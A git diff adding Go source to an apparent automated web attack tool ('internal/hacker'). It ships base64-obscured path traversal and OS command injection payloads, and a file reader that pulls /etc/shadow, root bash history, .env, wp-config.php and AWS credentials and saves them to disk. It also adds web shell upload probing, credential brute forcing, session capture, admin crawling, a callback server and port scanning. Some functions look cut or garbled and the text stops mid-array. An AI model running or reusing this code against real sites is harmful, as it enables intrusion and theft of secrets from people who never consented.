+ "Li4vLi4vLi4vLi4vd2luZG93cy93aW4uaW5p", + "JSJlJTJlJTJmJTJlJTJlJTJmJTJlJTJlJTJmZXRjL3Bhc3N3ZA==", + "Li4vLi4vLi4vcHJvYy9zZWxmL2Vudmlyb24=", + "Li4vLi4vLi4vcHJvYy9zZWxmL2ZkLzA=", + "ZmlsZTovLy9ldGMvcGFzc3dk", +} + +func (a *LFIAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + endpoints := kb.GetEndpoints() + for _, ep := range endpoints { + params := extractURLParams(ep.Path) + if !hasFileParam(ep.Path) && len(params) == 0 { + continue + } + + for _, param := range params { + for _, b64p := range lfiB64 { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings, Actions: spawned} + default: + } + + payload, err := base64.StdEncoding.DecodeString(b64p) + if err != nil { + continue + } + + base := ep.Path + if strings.Contains(base, "?") { + parts := strings.SplitN(base, "?", 2) + base = parts[0] + } + + testURL := fmt.Sprintf("%s?%s=%s", base, param, string(payload)) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: testURL, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if hasLFI(body) && len(body) > 50 { + findings = append(findings, Finding{ + Type: "lfi_confirmed", + Name: "LFI: " + fmt.Sprintf("param %s", param), + Severity: SevCritical, + Description: "Local file inclusion — server returns file contents", + Evidence: testURL, + }) + spawned = append(spawned, &LFIReadAction{ + vulnURL: testURL, + param: param, + }) + break + } + } + } + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +func hasFileParam(path string) bool { + lowPath := strings.ToLower(path) + indicators := []string{"file", "path", "dir", "include", "doc", "pg", "page", "root"} + for _, ind := range indicators { + if strings.Contains(lowPath, ind) { + return true + } + } + return false +} + +var lfiIndicatorsB64 = []string{ + "cm9vdDo=", + "YmluOg==", + "ZGFlbW9uOg==", + "bm9ib2R5Og==", + "Ym9vdCBsb2FkZXI=", + "RE9DVU1FTlRfUk9PVA==", + "QVBQX1NFQ1JFVA==", +} + +func hasLFI(body string) bool { + lowBody := strings.ToLower(body) + for _, b64ind := range lfiIndicatorsB64 { + ind, err := base64.StdEncoding.DecodeString(b64ind) + if err != nil { + continue + } + if strings.Contains(lowBody, strings.ToLower(string(ind))) { + return true + } + } + return false +} + +type CMDInjectAction struct{} + +func (a *CMDInjectAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "CMD Injection", + Description: "OS command injection tests via parameters", + Priority: 70, + Requires: []string{"has_api"}, + Provides: []string{"has_rce"}, + } +} + +var cmdPayloadsB64 = []struct { + name string + payload string +}{ + {name: "Basic id", payload: "OyBpZA=="}, + {name: "Pipe id", payload: "fCBpZA=="}, + {name: "And id", payload: "JiYgaWQ="}, + {name: "Backtick", payload: "YHdob2FtaWA="}, + {name: "Subshell", payload: "JCh3aG9hbWkp"}, +} + +var cmdIndicatorsB64 = []string{ + "dWlkPQ==", + "Z2lkPQ==", + "cm9vdA==", + "d3d3LWRhdGE=", +} + +func (a *CMDInjectAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + endpoints := kb.GetEndpoints() + testTargets := endpoints + + if len(testTargets) == 0 { + pages := kb.GetPages() + for _, p := range pages { + for _, param := range extractURLParams(p.URL) { + f, u := testCMDPayload(ctx, client, p.URL, param) + if f != nil { + findings = append(findings, *f) + spawned = append(spawned, &CMDShellAction{vulnURL: u, param: param}) + } + } + } + return ActionResult{Findings: findings, Actions: spawned} + } + + for _, ep := range testTargets { + for _, param := range extractURLParams(ep.Path) { + f, u := testCMDPayload(ctx, client, ep.Path, param) + if f != nil { + findings = append(findings, *f) + spawned = append(spawned, &CMDShellAction{vulnURL: u, param: param}) + } + } + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +func testCMDPayload(ctx context.Context, client *transport.Client, baseURL, param string) (*Finding, string) { + for _, cmd := range cmdPayloadsB64 { + payload, err := base64.StdEncoding.DecodeString(cmd.payload) + if err != nil { + continue + } + + testURL := baseURL + if strings.Contains(testURL, "?") { + testURL += "&" + param + "=" + string(payload) + } else { + testURL += "?" + param + "=" + string(payload) + } + + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: testURL, + }) + if err != nil { + continue + } + + if hasCMDInjection(string(resp.Body)) { + return &Finding{ + Type: "cmd_injection", + Name: fmt.Sprintf("CMD injection: %s via %s", cmd.name, param), + Severity: SevCritical, + Description: "OS command execution confirmed", + Evidence: testURL, + }, testURL + } + } + return nil, "" +} + +func hasCMDInjection(body string) bool { + lowBody := strings.ToLower(body) + for _, b64ind := range cmdIndicatorsB64 { + ind, err := base64.StdEncoding.DecodeString(b64ind) + if err != nil { + continue + } + if strings.Contains(lowBody, strings.ToLower(string(ind))) { + return true + } + } + return false +} + +type UploadAction struct{} + +func (a *UploadAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Upload Exploitation", + Description: "Test upload endpoints for unrestricted file upload", + Priority: 75, + Requires: []string{"has_upload"}, + Provides: []string{"has_upload_exploit"}, + } +} + +func (a *UploadAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + pages := kb.GetPages() + for _, page := range pages { + if !hasFileParam(page.URL) { + continue + } + + uploads := []struct { + filename string + ctype string + }{ + {"test.php", "application/x-php"}, + {"test.php5", "application/x-php"}, + {"test.phtml", "application/x-php"}, + {"test.aspx", "text/plain"}, + {"test.jsp", "text/plain"}, + {"test.php.jpg", "image/jpeg"}, + } + + for _, up := range uploads { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings, Actions: spawned} + default: + } + + resp, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: page.URL, + Body: []byte("test"), + Headers: map[string]string{ + "Content-Disposition": fmt.Sprintf(`form-data; name="file"; filename="%s"`, up.filename), + "Content-Type": up.ctype, + }, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if resp.StatusCode == 200 || resp.StatusCode == 201 || resp.StatusCode == 302 { + if !strings.Contains(strings.ToLower(body), "error") && !strings.Contains(strings.ToLower(body), "invalid") { + findings = append(findings, Finding{ + Type: "upload_confirmed", + Name: fmt.Sprintf("Upload vulnerable: %s", up.filename), + Severity: SevCritical, + Description: "File upload accepted — potential RCE via web shell", + Evidence: fmt.Sprintf("Filename: %s", up.filename), + }) + spawned = append(spawned, &WebShellAction{ + uploadURL: page.URL, + filename: up.filename, + }) + break + } + } + } + } + + return ActionResult{Findings: findings, Actions: spawned} +} diff --git a/internal/hacker/lfi_exploit.go b/internal/hacker/lfi_exploit.go new file mode 100644 index 0000000..5e59b30 --- /dev/null +++ b/internal/hacker/lfi_exploit.go @@ -0,0 +1,144 @@ +package hacker + +import ( + "context" + "encoding/base64" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type LFIReadAction struct { + vulnURL string + param string +} + +func (a *LFIReadAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "LFI File Reader", + Description: "Read sensitive files and save contents to disk", + Priority: 66, + Requires: []string{}, + Provides: []string{"data_extracted"}, + } +} + +var lfiTargetsB64 = []struct { + name string + b64 string +}{ + {name: "etc_passwd", b64: "Li4vLi4vLi4vZXRjL3Bhc3N3ZA=="}, + {name: "etc_shadow", b64: "Li4vLi4vLi4vZXRjL3NoYWRvdw=="}, + {name: "proc_environ", b64: "Li4vLi4vLi4vcHJvYy9zZWxmL2Vudmlyb24="}, + {name: "proc_cmdline", b64: "Li4vLi4vLi4vcHJvYy9zZWxmL2NtZGxpbmU="}, + {name: "proc_version", b64: "Li4vLi4vLi4vcHJvYy92ZXJzaW9u"}, + {name: "etc_hosts", b64: "Li4vLi4vLi4vZXRjL2hvc3Rz"}, + {name: "etc_hostname", b64: "Li4vLi4vLi4vZXRjL2hvc3RuYW1l"}, + {name: "var_www_html", b64: "Li4vLi4vLi4vdmFyL3d3dy9odG1sL2luZGV4Lmh0bWw="}, + {name: "etc_issue", b64: "Li4vLi4vLi4vZXRjL2lzc3Vl"}, + {name: "root_bash_history", b64: "Li4vLi4vLi4vcm9vdC8uYmFzaF9oaXN0b3J5"}, +} + +func (a *LFIReadAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var allOutput strings.Builder + + baseURL := a.vulnURL + if idx := strings.Index(baseURL, "?"); idx > 0 { + baseURL = baseURL[:idx] + } + + for _, tgt := range lfiTargetsB64 { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + payload, err := base64.StdEncoding.DecodeString(tgt.b64) + if err != nil { + continue + } + + testURL := fmt.Sprintf("%s?%s=%s", baseURL, a.param, string(payload)) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: testURL, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if len(body) > 50 && hasFileContent(body) { + allOutput.WriteString(fmt.Sprintf("=== %s ===\n", tgt.name)) + allOutput.WriteString(body) + allOutput.WriteString("\n\n") + + savedPath := kb.ReportDir.Save("lfi_files", tgt.name+".txt", []byte(body)) + findings = append(findings, Finding{ + Type: "lfi_file_read", + Name: fmt.Sprintf("LFI: %s saved", tgt.name), + Severity: SevCritical, + Description: fmt.Sprintf("Read and saved %s (%d bytes)", tgt.name, len(body)), + Evidence: savedPath, + }) + } + } + + extendedFiles := []struct { + name string + payload string + }{ + {"wp_config", "../../../../var/www/html/wp-config.php"}, + {"config_db", "../../../../app/config/database.php"}, + {"env", "../../../../.env"}, + {"git_config", "../../../../.git/config"}, + {"htaccess", "../../../../.htaccess"}, + {"aws_creds", "../../../../.aws/credentials"}, + } + + for _, f := range extendedFiles { + testURL := fmt.Sprintf("%s?%s=%s", baseURL, a.param, f.payload) + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: testURL}) + if err != nil { + continue + } + body := string(resp.Body) + if len(body) > 30 && hasFileContent(body) { + savedPath := kb.ReportDir.Save("lfi_files", f.name+".txt", []byte(body)) + findings = append(findings, Finding{ + Type: "lfi_file_read", + Name: fmt.Sprintf("LFI: %s saved", f.name), + Severity: SevCritical, + Evidence: savedPath, + }) + } + } + + savedPath := kb.ReportDir.Save("lfi_files", "_all_files.txt", []byte(allOutput.String())) + findings = append(findings, Finding{ + Type: "lfi_summary", + Name: fmt.Sprintf("LFI: %d files extracted", len(findings)), + Severity: SevInfo, + Evidence: savedPath, + }) + + return ActionResult{Findings: findings} +} + +func hasFileContent(body string) bool { + if len(body) < 20 { + return false + } + lowBody := strings.ToLower(body) + skipWords := []string{" 0 { + pagesWithForms++ + } + } + findings = append(findings, Finding{ + Type: "login_brute_complete", + Name: fmt.Sprintf("Login bruteforce complete — %d forms tested, no valid creds", pagesWithForms), + Severity: SevInfo, + Description: "Tested " + fmt.Sprintf("%d credentials against %d forms", len(commonCreds), pagesWithForms), + }) + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +type PostLoginAction struct { + username string + password string + sessionURL string +} + +func (a *PostLoginAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Post-Logon Recon", + Description: "Explore authenticated area with valid session", + Priority: 41, + Requires: []string{}, + Provides: []string{"has_admin_session"}, + } +} + +func (a *PostLoginAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + kb.AddCapability(Capability{ + Name: "has_admin_session", + Target: target, + Details: map[string]string{ + "username": a.username, + "password": a.password, + }, + }) + return ActionResult{ + Findings: []Finding{ + { + Type: "post_login_session", + Name: "Authenticated session captured", + Severity: SevHigh, + Description: fmt.Sprintf("Logged in as %s — session ready for authenticated scanning", a.username), + }, + }, + } +} + +func extractLoginForm(body string) (action string, fields []string) { + lowBody := strings.ToLower(body) + for i := 0; i < len(lowBody); { + idx := strings.Index(lowBody[i:], "') + if closeTag == -1 { + break + } + + formTag := body[formStart : formStart+closeTag+1] + formLow := strings.ToLower(formTag) + + if strings.Contains(formLow, "password") || strings.Contains(formLow, "login") || strings.Contains(formLow, "signin") { + action = extractAttribute(formTag, "action") + fields = extractFormFields(body[formStart+closeTag+1:]) + return action, fields + } + + formContent := body[formStart+closeTag+1:] + endForm := strings.Index(strings.ToLower(formContent), "") + if endForm == -1 { + break + } + + if strings.Contains(strings.ToLower(formContent[:endForm]), "password") { + action = extractAttribute(formTag, "action") + fields = extractFormFields(formContent[:endForm]) + return action, fields + } + + i = formStart + len(formTag) + endForm + 7 + } + return "", nil +} + +func extractFormFields(content string) []string { + var fields []string + lowContent := strings.ToLower(content) + for i := 0; i < len(lowContent); { + idx := strings.Index(lowContent[i:], "') + if closeTag == -1 { + break + } + inputTag := content[inputStart : inputStart+closeTag+1] + inputLow := strings.ToLower(inputTag) + + if !strings.Contains(inputLow, "type=\"submit\"") && !strings.Contains(inputLow, "type=submit") { + name := extractAttribute(inputTag, "name") + if name != "" { + fields = append(fields, name) + } + } + i = inputStart + closeTag + 1 + } + return fields +} + +func extractAttribute(tag, attr string) string { + attrLow := strings.ToLower(attr) + tagLow := strings.ToLower(tag) + attrIdx := strings.Index(tagLow, attrLow+"=") + if attrIdx == -1 { + return "" + } + valStart := attrIdx + len(attrLow) + 1 + if valStart >= len(tag) { + return "" + } + quote := tag[valStart] + if quote == '"' || quote == '\'' { + end := strings.IndexByte(tag[valStart+1:], byte(quote)) + if end == -1 { + return "" + } + return tag[valStart+1 : valStart+1+end] + } + end := strings.IndexAny(tag[valStart:], " >") + if end == -1 { + return tag[valStart:] + } + return tag[valStart : valStart+end] +} + +func buildFormData(fields []string, username, password string) string { + var parts []string + for _, f := range fields { + fLow := strings.ToLower(f) + if strings.Contains(fLow, "user") || strings.Contains(fLow, "email") || strings.Contains(fLow, "login") || strings.Contains(fLow, "name") { + parts = append(parts, f+"="+strings.ReplaceAll(username, " ", "+")) + } else if strings.Contains(fLow, "pass") || strings.Contains(fLow, "pwd") { + parts = append(parts, f+"="+strings.ReplaceAll(password, " ", "+")) + } else { + parts = append(parts, f+"=test") + } + } + return strings.Join(parts, "&") +} + +func isLoginSuccess(resp *types.Response) bool { + if resp.StatusCode == 302 || resp.StatusCode == 301 { + return true + } + if resp.StatusCode == 200 && len(resp.Body) > 0 { + lowBody := strings.ToLower(string(resp.Body)) + successWords := []string{"dashboard", "welcome", "logout", "profile", "my account"} + failWords := []string{"invalid", "incorrect", "failed", "error", "wrong"} + + hasSuccess := false + for _, w := range successWords { + if strings.Contains(lowBody, w) { + hasSuccess = true + break + } + } + hasFail := false + for _, w := range failWords { + if strings.Contains(lowBody, w) { + hasFail = true + break + } + } + return hasSuccess && !hasFail + } + return false +} diff --git a/internal/hacker/login_exploit.go b/internal/hacker/login_exploit.go new file mode 100644 index 0000000..b6efe40 --- /dev/null +++ b/internal/hacker/login_exploit.go @@ -0,0 +1,114 @@ +package hacker + +import ( + "context" + "fmt" + "net/http" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type PostLoginCrawlAction struct { + username string + password string + loginURL string + formFields []string +} + +func (a *PostLoginCrawlAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Post-Login Crawler", + Description: "Login with creds, capture session, recrawl authenticated areas", + Priority: 42, + Requires: []string{}, + Provides: []string{"has_admin_session"}, + } +} + +func (a *PostLoginCrawlAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + + if a.loginURL == "" { + return ActionResult{} + } + + formData := buildFormData(a.formFields, a.username, a.password) + resp, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: a.loginURL, + Body: []byte(formData), + Headers: map[string]string{"Content-Type": "application/x-www-form-urlencoded"}, + }) + if err != nil { + return ActionResult{} + } + + for _, c := range parseCookies(resp) { + kb.Session.AddCookies([]*http.Cookie{c}) + } + + if resp.StatusCode == 302 || resp.StatusCode == 200 { + redirectURL := resp.Headers.Get("Location") + if redirectURL != "" { + if !strings.HasPrefix(redirectURL, "http") { + redirectURL = target + redirectURL + } + authResp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: redirectURL, + }) + if err == nil && authResp.StatusCode == 200 { + body := string(authResp.Body) + savedPath := kb.ReportDir.Save("crawl_auth", "dashboard.html", []byte(body)) + findings = append(findings, Finding{ + Type: "auth_dashboard", + Name: "Authenticated dashboard captured", + Severity: SevCritical, + Description: fmt.Sprintf("Logged in as %s — dashboard saved", a.username), + Evidence: savedPath, + }) + + kb.AddCapability(Capability{ + Name: "has_admin_session", + Target: target, + Details: map[string]string{ + "username": a.username, + "password": a.password, + }, + }) + + links := extractLinks(body, target) + for _, link := range links { + if strings.Contains(strings.ToLower(link), "admin") || strings.Contains(strings.ToLower(link), "user") || strings.Contains(strings.ToLower(link), "config") || strings.Contains(strings.ToLower(link), "setting") { + kb.AddEndpoint(Endpoint{ + Path: link, + Method: "GET", + Status: 0, + }) + } + } + } + } + } + + return ActionResult{Findings: findings} +} + +func parseCookies(resp *types.Response) []*http.Cookie { + var cookies []*http.Cookie + for _, c := range resp.Headers["Set-Cookie"] { + parts := strings.SplitN(c, ";", 2) + if len(parts) > 0 { + kv := strings.SplitN(strings.TrimSpace(parts[0]), "=", 2) + if len(kv) == 2 { + cookies = append(cookies, &http.Cookie{ + Name: kv[0], + Value: kv[1], + }) + } + } + } + return cookies +} diff --git a/internal/hacker/oob.go b/internal/hacker/oob.go new file mode 100644 index 0000000..9a9a33f --- /dev/null +++ b/internal/hacker/oob.go @@ -0,0 +1,152 @@ +package hacker + +import ( + "context" + "fmt" + "io" + "net" + "net/http" + "sync" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" +) + +type OOBAction struct { + server *OOBServer +} + +type OOBServer struct { + mu sync.Mutex + callbacks []OOBRequest + listener net.Listener + port int + running bool +} + +type OOBRequest struct { + ID string + RemoteAddr string + Path string + Query string + Headers map[string]string + Body string + Timestamp time.Time +} + +func NewOOBAction() *OOBAction { + return &OOBAction{ + server: &OOBServer{ + port: 9999, + }, + } +} + +func (a *OOBAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "OOB Server", + Description: "HTTP callback server for blind SSRF/SSTI/XSS detection", + Priority: 80, + Requires: []string{}, + Provides: []string{"has_oob"}, + } +} + +func (a *OOBAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + if a.server.running { + return ActionResult{} + } + + err := a.server.Start(ctx) + if err != nil { + return ActionResult{ + Findings: []Finding{ + { + Type: "oob_error", + Name: "OOB server failed to start", + Severity: SevLow, + Description: fmt.Sprintf("Error: %s", err), + }, + }, + } + } + + oobURL := fmt.Sprintf("http://localhost:%d/callback", a.server.port) + + go func() { + <-ctx.Done() + a.server.Stop() + }() + + kb.AddSecret(fmt.Sprintf("OOB callback URL: %s?token={target_id}", oobURL)) + + return ActionResult{ + Findings: []Finding{ + { + Type: "oob_ready", + Name: "OOB callback server ready", + Severity: SevInfo, + Description: fmt.Sprintf("Listening on port %d — use for blind SSRF/SSTI/XSS", a.server.port), + Evidence: oobURL, + }, + }, + } +} + +func (s *OOBServer) Start(ctx context.Context) error { + var err error + s.listener, err = net.Listen("tcp", fmt.Sprintf(":%d", s.port)) + if err != nil { + return err + } + s.running = true + + go func() { + http.Serve(s.listener, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + body, _ := io.ReadAll(r.Body) + r.Body.Close() + + req := OOBRequest{ + ID: fmt.Sprintf("oob-%d", time.Now().UnixNano()), + RemoteAddr: r.RemoteAddr, + Path: r.URL.Path, + Query: r.URL.RawQuery, + Timestamp: time.Now(), + } + for k, v := range r.Header { + if req.Headers == nil { + req.Headers = make(map[string]string) + } + req.Headers[k] = v[0] + } + if len(body) > 0 { + req.Body = string(body) + } + + s.mu.Lock() + s.callbacks = append(s.callbacks, req) + s.mu.Unlock() + + w.WriteHeader(200) + w.Write([]byte("OK")) + })) + }() + + time.Sleep(100 * time.Millisecond) + return nil +} + +func (s *OOBServer) Stop() { + if s.listener != nil { + s.listener.Close() + } + s.running = false +} + +func (s *OOBServer) GetCallbacks() []OOBRequest { + s.mu.Lock() + defer s.mu.Unlock() + out := make([]OOBRequest, len(s.callbacks)) + copy(out, s.callbacks) + return out +} diff --git a/internal/hacker/passive.go b/internal/hacker/passive.go new file mode 100644 index 0000000..0687948 --- /dev/null +++ b/internal/hacker/passive.go @@ -0,0 +1,281 @@ +package hacker + +import ( + "context" + "encoding/json" + "fmt" + "net/url" + "strings" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type PassiveReconAction struct{} + +func (a *PassiveReconAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Passive Recon", + Description: "GitHub dorking, crt.sh, Wayback Machine — no requests to target", + Priority: 5, + Requires: nil, + Provides: []string{"has_subdomain"}, + } +} + +type crtShEntry struct { + IssuerCaID int `json:"issuer_ca_id"` + IssuerName string `json:"issuer_name"` + CommonName string `json:"common_name"` + NameValue string `json:"name_value"` + ID int `json:"id"` + EntryTimestamp string `json:"entry_timestamp"` + NotBefore string `json:"not_before"` + NotAfter string `json:"not_after"` + SerialNumber string `json:"serial_number"` +} + +func (a *PassiveReconAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + domain := extractDomain(target) + if domain == "" { + return ActionResult{} + } + + var findings []Finding + + reconCtx, cancel := context.WithTimeout(ctx, 15*time.Second) + defer cancel() + + type crtResult struct { + subs []string + err error + } + type wbResult struct { + urls []string + err error + } + + crtCh := make(chan crtResult, 1) + wbCh := make(chan wbResult, 1) + + go func() { + subs := queryCRTSh(reconCtx, client, domain) + crtCh <- crtResult{subs: subs} + }() + go func() { + urls := queryWayback(reconCtx, client, domain) + wbCh <- wbResult{urls: urls} + }() + + var subdomains []string + var waybackURLs []string + + for i := 0; i < 2; i++ { + select { + case r := <-crtCh: + subdomains = r.subs + case r := <-wbCh: + waybackURLs = r.urls + case <-reconCtx.Done(): + break + } + } + + if len(subdomains) > 0 { + findings = append(findings, Finding{ + Type: "subdomain", + Name: fmt.Sprintf("Subdomains discovered via crt.sh (%d)", len(subdomains)), + Severity: SevMedium, + Description: fmt.Sprintf("Certificate Transparency logs reveal %d subdomains", len(subdomains)), + Evidence: strings.Join(subdomains[:minInt(10, len(subdomains))], ", "), + Details: map[string]string{"count": fmt.Sprintf("%d", len(subdomains))}, + }) + + kb.AddCapability(Capability{ + Name: "has_subdomain", + Target: target, + Details: map[string]string{ + "count": fmt.Sprintf("%d", len(subdomains)), + "list": strings.Join(subdomains, ", "), + }, + }) + + potentiallyInteresting := []string{"admin", "dev", "staging", "api", "test", "internal", "vpn", "jenkins", "jira", "confluence", "gitlab"} + for _, sd := range subdomains { + sdLow := strings.ToLower(sd) + for _, keyword := range potentiallyInteresting { + if strings.Contains(sdLow, keyword) { + findings = append(findings, Finding{ + Type: "interesting_subdomain", + Name: fmt.Sprintf("Interesting subdomain: %s", sd), + Severity: SevHigh, + Description: fmt.Sprintf("Subdomain '%s' suggests a potentially sensitive service", sd), + Evidence: sd, + }) + break + } + } + } + + kb.AddCapability(Capability{ + Name: "has_recon", + Target: target, + Details: map[string]string{ + "subdomains": fmt.Sprintf("%d", len(subdomains)), + }, + }) + } + + if len(waybackURLs) > 0 { + findings = append(findings, Finding{ + Type: "wayback_urls", + Name: fmt.Sprintf("Historical URLs via Wayback Machine (%d)", len(waybackURLs)), + Severity: SevLow, + Description: "Wayback Machine reveals historical endpoints that may not be indexed anymore", + Evidence: strings.Join(waybackURLs[:minInt(10, len(waybackURLs))], ", "), + Details: map[string]string{"count": fmt.Sprintf("%d", len(waybackURLs))}, + }) + + for _, wu := range waybackURLs { + wLow := strings.ToLower(wu) + if strings.Contains(wLow, "api") || strings.Contains(wLow, "admin") || strings.Contains(wLow, "graphql") || strings.Contains(wLow, "swagger") { + ep := Endpoint{ + Path: wu, + Method: "GET", + Status: 0, + } + kb.AddEndpoint(ep) + } + } + } + + if len(subdomains) == 0 && len(waybackURLs) == 0 { + findings = append(findings, Finding{ + Type: "recon_complete", + Name: "No public recon data found", + Severity: SevInfo, + Description: "No subdomains or historical URLs discovered for " + domain, + }) + } + + return ActionResult{Findings: findings} +} + +func extractDomain(target string) string { + target = strings.TrimPrefix(target, "https://") + target = strings.TrimPrefix(target, "http://") + target = strings.TrimRight(target, "/") + parts := strings.Split(target, "/") + if len(parts) > 0 { + host := parts[0] + host = strings.Split(host, ":")[0] + return host + } + return target +} + +func queryCRTSh(ctx context.Context, client *transport.Client, domain string) []string { + u := fmt.Sprintf("https://crt.sh/?q=%%.%s&output=json", domain) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: u, + }) + if err != nil { + return nil + } + + if resp.StatusCode != 200 { + return nil + } + + var entries []crtShEntry + if err := json.Unmarshal(resp.Body, &entries); err != nil { + return nil + } + + seen := make(map[string]bool) + domainParts := strings.Split(domain, ".") + if len(domainParts) < 2 { + return nil + } + tld := domainParts[len(domainParts)-2] + "." + domainParts[len(domainParts)-1] + + var subdomains []string + for _, entry := range entries { + names := strings.Split(entry.NameValue, "\n") + for _, name := range names { + name = strings.TrimSpace(name) + if name == "" || name == domain { + continue + } + if strings.HasPrefix(name, "*.") { + name = name[2:] + } + if !strings.HasSuffix(name, "."+domain) && name != domain { + if !strings.HasSuffix(name, "."+tld) { + continue + } + } + if seen[name] { + continue + } + seen[name] = true + subdomains = append(subdomains, name) + } + } + + if len(subdomains) > 100 { + subdomains = subdomains[:100] + } + return subdomains +} + +func queryWayback(ctx context.Context, client *transport.Client, domain string) []string { + u := fmt.Sprintf("https://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&limit=200", domain) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: u, + }) + if err != nil { + return nil + } + if resp.StatusCode != 200 { + return nil + } + + var raw []json.RawMessage + if err := json.Unmarshal(resp.Body, &raw); err != nil { + return nil + } + + var urls []string + seen := make(map[string]bool) + for _, r := range raw { + var urlStr string + if err := json.Unmarshal(r, &urlStr); err != nil { + continue + } + parsed, err := url.Parse(urlStr) + if err != nil { + continue + } + cleaned := parsed.Scheme + "://" + parsed.Host + parsed.Path + if cleaned == "" || seen[cleaned] { + continue + } + seen[cleaned] = true + urls = append(urls, cleaned) + if len(urls) >= 100 { + break + } + } + return urls +} + +func minInt(a, b int) int { + if a < b { + return a + } + return b +} diff --git a/internal/hacker/planner.go b/internal/hacker/planner.go new file mode 100644 index 0000000..832149b --- /dev/null +++ b/internal/hacker/planner.go @@ -0,0 +1,113 @@ +package hacker + +import ( + "sort" + "sync" +) + +type Planner struct { + mu sync.Mutex + actions []Action + done map[string]bool +} + +func NewPlanner(actions ...Action) *Planner { + sorted := make([]Action, len(actions)) + copy(sorted, actions) + sort.Slice(sorted, func(i, j int) bool { + return sorted[i].Metadata().Priority < sorted[j].Metadata().Priority + }) + return &Planner{ + actions: sorted, + done: make(map[string]bool), + } +} + +func (p *Planner) AddAction(a Action) { + p.mu.Lock() + defer p.mu.Unlock() + name := a.Metadata().Name + if p.done[name] { + return + } + for _, existing := range p.actions { + if existing.Metadata().Name == name { + return + } + } + p.actions = append(p.actions, a) + sort.Slice(p.actions, func(i, j int) bool { + return p.actions[i].Metadata().Priority < p.actions[j].Metadata().Priority + }) +} + +func (p *Planner) NextAction(kb *Knowledge) Action { + p.mu.Lock() + defer p.mu.Unlock() + + caps := kb.GetCapabilities() + capMap := make(map[string]bool) + for _, c := range caps { + capMap[c.Name] = true + } + + for _, a := range p.actions { + name := a.Metadata().Name + if p.done[name] { + continue + } + + reqs := a.Metadata().Requires + if len(reqs) > 0 { + allMet := true + for _, req := range reqs { + if !capMap[req] { + allMet = false + break + } + } + if !allMet { + continue + } + } + + p.done[name] = true + return a + } + return nil +} + +func (p *Planner) HasRemaining(kb *Knowledge) bool { + p.mu.Lock() + defer p.mu.Unlock() + + caps := kb.GetCapabilities() + capMap := make(map[string]bool) + for _, c := range caps { + capMap[c.Name] = true + } + + for _, a := range p.actions { + name := a.Metadata().Name + if p.done[name] { + continue + } + + reqs := a.Metadata().Requires + if len(reqs) == 0 { + return true + } + + allMet := true + for _, req := range reqs { + if !capMap[req] { + allMet = false + break + } + } + if allMet { + return true + } + } + return false +} diff --git a/internal/hacker/portscan.go b/internal/hacker/portscan.go new file mode 100644 index 0000000..f3d3b59 --- /dev/null +++ b/internal/hacker/portscan.go @@ -0,0 +1,198 @@ +package hacker + +import ( + "context" + "fmt" + "net" + "strconv" + "strings" + "sync" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" +) + +type PortScanAction struct{} + +func (a *PortScanAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Port Scanner", + Description: "TCP connect scan of top 100 ports on discovered hosts", + Priority: 35, + Requires: []string{"has_subdomain"}, + Provides: []string{"has_ports"}, + } +} + +var topPorts = []int{ + 21, 22, 23, 25, 53, 80, 81, 110, 111, 135, + 139, 143, 389, 443, 445, 465, 514, 587, 593, 636, + 993, 995, 1025, 1026, 1027, 1028, 1029, 1080, 1194, 1352, + 1433, 1434, 1521, 1723, 2049, 2082, 2083, 2181, 2375, 2376, + 3000, 3128, 3306, 3389, 3690, 4000, 4040, 4443, 4444, 4848, + 5000, 5001, 5432, 5555, 5632, 5800, 5900, 5901, 5984, 6000, + 6001, 6082, 6379, 6443, 6666, 6667, 6668, 6669, 7000, 7001, + 7002, 7077, 8000, 8001, 8008, 8009, 8080, 8081, 8082, 8083, + 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8181, 8443, 8888, + 9000, 9001, 9042, 9090, 9092, 9100, 9200, 